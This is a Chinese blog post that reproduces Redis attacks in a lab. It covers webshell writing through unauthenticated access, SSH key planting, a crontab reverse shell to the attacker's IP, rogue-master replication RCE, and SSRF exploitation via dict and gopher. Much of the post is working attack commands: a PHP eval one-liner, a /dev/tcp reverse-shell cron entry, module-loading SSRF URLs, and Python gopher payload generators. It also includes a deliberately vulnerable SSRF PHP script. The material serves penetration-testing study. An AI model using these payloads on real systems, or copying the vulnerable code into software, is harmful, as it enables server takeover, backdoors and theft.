Drunkmars's Blog

redis漏洞总结

字数统计: 3.7k阅读时长: 15 min
2021/07/20

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

本文将对一些常见的redis漏洞进行漏洞分析和复现。

搭建环境

因为在redis 3.2版本后存在安全配置项,这里为了方便直接使用redis 2.8.17版本进行漏洞搭建,将tar.gz从git克隆到本地之后使用make进行编译

1
2
3
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
cd redis-2.8.17
make

image-20210720205211085

编译过程如下

image-20210720205300518

编译好之后进入src目录,将redis-serverredis-cli 这两个文件拷贝到/usr/bin目录下,这样在启动的时候就不用每次到redis目录下

1
2
3
cp redis-server /usr/bin

cp redis-cli /usr/bin

image-20210720205409510

redis.conf拷贝到/etc目录下

1
cp redis.conf /etc/

image-20210720205439749

启动redis服务,可以看到这里环境已经启动成功

1
redis-server /etc/redis.conf

image-20210720205537299

redis基本操作

连接数据库,这里在最开始的时候是默认没有密码的,这也是后面产生未授权访问漏洞的原因

1
redis-cli -h 192.168.1.10

image-20210720210614208

设置密码,这里我设置的是qwe123

1
config set requirepass qwe123

image-20210720211326889

设置密码后对比下,发现在设置密码之后直接进入已经被阻止

image-20210720211419115

也可以连接后使用命令输入密码

1
auth qwe123

image-20210720211506702

这里为了方便操作直接将靶机拍摄快照之后关机并克隆,得到靶机ip为192.168.1.10,攻击机ip为192.168.1.7

image-20210720212106578

image-20210720212116987

漏洞原理及复现

未授权访问写shell

漏洞原理

这里之前已经提到过,在安装好redis服务之后是默认不设置密码的,在3.2版本之后自带了安全模式在一定程度上减轻了未设置密码的影响

漏洞复现

首先启动靶机的apache服务

1
/etc/init.d/apache2 start

image-20210720212238779

直接使用命令连接,因为这里没有设置密码,可以直接连接过去。这里写入一句话木马,这里为了防止乱码加上\n换行符,使用save命令保存

1
2
3
4
5
redis-cli -h 192.168.1.10
set shell "\n<?php @eval($_POST['test']);?>\n"
config set dir /var/www/html/
config set dbfilename shell.php
save

image-20210720212331778

然后蚁剑直接连接即可得到shell

image-20210720212654791

写入密钥ssh登录

漏洞原理

原理跟之前的未授权访问有一点不同,这里需要知道靶机的用户名且能够具有写的权限,因为我们需要写入一个rsa密钥来达到控制效果,还有一点就是需要开启ssh服务,这种方法相比于未授权访问更安全也更持久

漏洞复现

首先启动靶机的ssh服务

1
/etc/init.d/ssh start

image-20210720212745580

在攻击机上生成一个rsa密钥

1
ssh-keygen -t rsa

image-20210720213340381

然后使用命令给rsa加上换行符,防止乱码的情况出现

1
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

image-20210720215136948

首先命令行连接到靶机的redis并将rsa密钥写入内存

1
2
3
4
5
cat key.txt | redis-cli -h 192.168.1.10 -a qwe123 -x set pubkey

//-x 从标准输入读取数据作为该命令的最后一个参数,将key.txt内容作为变量pubkey的值

relis-cli -h 192.168.1.10 -a qwe123

image-20210720215252250

保存到/root/.ssh目录下的authorized_keys中

1
2
3
config set dir /root/.ssh
config set dbfilename authorized_keys
save

image-20210720215403472

查看一下这里已经保存成功了

image-20210720215449834

这里直接用ssh连接过去即可

1
ssh -i id_rsa root@192.168.1.10

crontab反弹shell

漏洞原理

crontab 是 linux 中的计划任务工具,类似于 windows 中的计划任务,有趣的一点是,当crontab 所需要的执行文件不存在的时候,crontab 不会自动删除执行任务,而等到执行文件再次出现的时候,crontab 又会继续执行,而且不会对文件的内容进行比较。linux 根目录下有个 tmp 目录,这个目录用于存放临时文件,每次关机都会将这个目录清空,如果用户把 crontab 的执行文件放到这个目录下,就会造成执行文件被删除的效果,那么这个时候,可以利用另一个低权限用户制造一个执行文件,执行文件的内容是连接攻击机,然后再将执行文件放入 tmp 目录,触发 crontab 的执行条件后,crontab 就会自动以高权限执行执行文件,然后,在攻击机的指定端口就能得到高权限用户的 shell

首先nc开启一个端口进行监听

image-20210721101311658

然后连接靶机写入反弹命令

1
2
redis-cli -h 192.168.1.10
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.7/4444 0>&1\n\n"

image-20210721101330691

写入计划任务定时执行则可收到反弹shell

1
2
3
config set dir /var/spool/cron
config set dbfilename root
save

image-20210721101424833

远程主从复制RCE

redis主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave),数据的复制是单向的,只能由主节点到从节点 . 这是一种以空间置换时间的分布式的工作方案, 可以减轻主机缓存压力,避免单点故障

通过数据复制,Redis 的一个 master 可以挂载多个 slave,而 slave 下还可以挂载多个 slave,形成多层嵌套结构。所有写操作都在 master 实例中进行,master 执行完毕后,将写指令分发给挂在自己下面的 slave 节点。slave 节点下如果有嵌套的 slave,会将收到的写指令进一步分发给挂在自己下面的 slave

开启主从复制三种方式:

1
2
3
4
配置文件: 在从服务器的配置文件中加入:slaveof <masterip> <masterport>
启动命令: redis-server启动命令后加入 --slaveof <masterip> <masterport>
客户端命令: Redis服务器启动后,直接通过客户端执行命令:slaveof <masterip>
<masterport>,则该Redis实例成为从节点。

工作流程:

用通俗的语言来总结主从复制的话,就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

漏洞原理

我们知道master和slave肯定是要进行数据传输的,那么这里在master和slave握手的过程中的协议如下

img

这里图看起来有点繁琐,我们只需要关注漏洞出现的地方,利用全量复制将master上的RDB文件同步到slave上,这一步就是将我们的恶意so文件同步到slave上,从而加载恶意so文件达到rce的目的

redis有两种从slave将文件复制到master的方法,一是增量复制,二是全量复制。其实从字面意思上理解都可以看出增量只是复制一部分,而全量是把所有都复制,所以这里使用必须使用全量复制。

全量复制

当slave向master发送PSYNC命令之后,一般会得到三种回复:

+FULLRESYNC:进行全量复制

+CONTINUE:进行增量同步

-ERR:当前master还不支持PSYNC

slave向master发送PSYNC请求,并携带master的runid和offest,如果是第一次连接的话slave不知道master的runid,所以会返回runid为?,offest为-1。然后master验证slave发来的runid是否和自身runid一致,如不一致,则进行全量复制,slave并对master发来的runid和offest进行保存。master把自己的runid和offset发给slave,再进行bgsave,生成RDB文件,将生成的RDB文件传输给slave,并将缓冲区内的数据传输给slave,然后slave加载RDB文件和缓冲区数据。

增量复制

这里就跟全量复制有一点不相同,当master验证slave发来的runid是否和自身runid一致的时候,如果一致,就会只进行数据同步而不会传输RDB文件,那么我们生成的.so文件就没有办法传输到master上

这里注意还有一个点需要注意,如果redis服务器设置了只允许本地登陆时,就不能够使用远程主从复制的方法

漏洞复现

这里使用到主从复制的py,https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

i为交互shell,r为反弹shell,反弹shell用nc监听端口即可

1
python3 redis-rogue-server.py --rhost 192.168.1.10 --rport 6379 --lhost 192.168.1.7 --lport 6381

image-20210720221509439

SSRF&redis

SSRF,服务器端请求伪造,服务器请求伪造,是由攻击者构造的漏洞,用于形成服务器发起的请求。在这里ssrf配合redis使用会有意想不到的效果

这里首先需要了解的是redis的RESP协议

基于TCP的应用层协议 RESP(REdis Serialization Protocol);RESP底层采用的是TCP的连接方式,通过tcp进行数据传输,然后根据解析规则解析相应信息,Redis 的客户端和服务端之间采取了一种独立名为 RESP(REdis Serialization Protocol) 的协议,作者主要考虑了以下几个点:

  • 容易实现
  • 解析快
  • 人类可读

RESP可以序列化不同的数据类型,如整数,字符串,数组。还有一种特定的错误类型。请求从客户端发送到Redis服务器,作为表示要执行的命令的参数的字符串数组。Redis使用特定于命令的数据类型进行回复

RESP是二进制安全的,不需要处理从一个进程传输到另一个进程的批量数据,因为它使用前缀长度来传输批量数据。

RESP 虽然是为 Redis 设计的,但是同样也可以用于其他 C/S 的软件。Redis Cluster使用不同的二进制协议(gossip),以便在节点之间交换消息

RESP在Redis中用作请求 - 响应协议的方式如下:

  1. 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
  2. 服务器根据命令实现回复一种RESP类型。

在RESP中,某些数据的类型取决于第一个字节:

对于Simple Strings,回复的第一个字节是+

对于error,回复的第一个字节是-

对于Integer,回复的第一个字节是:

对于Bulk Strings,回复的第一个字节是$

对于array,回复的第一个字节是*

还有两个个了解的协议是Gopher 协议和Dict协议

Dict协议dict是基于查询响应的TCP协议,在实际过程中和gopher协议效果相似但是会有一些区别

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了
Gopher 协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面

gopher协议的格式:

1
gopher://127.0.0.1:70/_ + TCP/IP数据

gopher的默认端口为70,如果没有指定端口,比如gopher://127.0.0.1/_test默认是发送给70端口的

这里的_是一种数据连接格式,不一定是_,其他任意字符都行,例如这里以1作为连接字符:

1
root@kali:~# curl gopher://127.0.0.1/1test

gopher协议的实现:

gopher会将后面的数据部分发送给相应的端口,这些数据可以是字符串,也可以是其他的数据请求包,比如GET,POST请求,redis,mysql未授权访问等,同时数据部分必须要进行url编码,这样gopher协议才能正确解析。

这里主要总结一下ssrf + redis反弹shell的操作

ssrf + redis的漏洞环境不太好找,这里准备了一个ssrf的漏洞代码

1
2
3
4
5
6
7
8
9
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>

使用dict协议反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#查看当前redis的相关配置
ssrf.php?url=dict://192.168.1.10:6379/info

#设置备份文件名
ssrf.php?url=dict://192.168.1.10:6379/config:set:dbfilename:exp.so

#连接恶意Redis服务器
ssrf.php?url=dict://192.168.1.10:6379/slaveof:192.168.172.129:1234

#加载恶意模块
ssrf.php?url=dict://192.168.1.10:6379/module:load:./exp.so

#切断主从复制
ssrf.php?url=dict://192.168.1.10:6379/slaveof:no:one

#执行系统命令
ssrf.php?url=dict://192.168.1.10:6379/system.rev:192.168.172.129:9999

这里使用gopher协议反弹shell的话使用前辈们写的py反弹即可

python2环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python2
# -*-coding:utf-8-*-

import urllib
protocol="gopher://" # 使用的协议
ip="192.168.189.208"
port="6379" # 目标redis的端口号
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php" # shell的名字
path="/var" # 写入的路径
passwd="" # 如果有密码 则填入
# 我们的恶意命令
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

python3环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
# -*-coding:utf-8-*-

from urllib.parse import quote
protocol="gopher://" # 使用的协议
ip="192.168.189.208"
port="6379" # 目标redis的端口号
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php" # shell的名字
path="/var" # 写入的路径
passwd="" # 如果有密码 则填入
# 我们的恶意命令
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += quote(redis_format(x))
print(payload)
CATALOG
  1. 1. 搭建环境
  2. 2. redis基本操作
  3. 3. 漏洞原理及复现
    1. 3.1. 未授权访问写shell
      1. 3.1.1. 漏洞原理
      2. 3.1.2. 漏洞复现
    2. 3.2. 写入密钥ssh登录
      1. 3.2.1. 漏洞原理
      2. 3.2.2. 漏洞复现
    3. 3.3. crontab反弹shell
      1. 3.3.1. 漏洞原理
    4. 3.4. 远程主从复制RCE
      1. 3.4.1. redis主从复制
      2. 3.4.2. 漏洞原理
      3. 3.4.3. 漏洞复现
  4. 4. SSRF&redis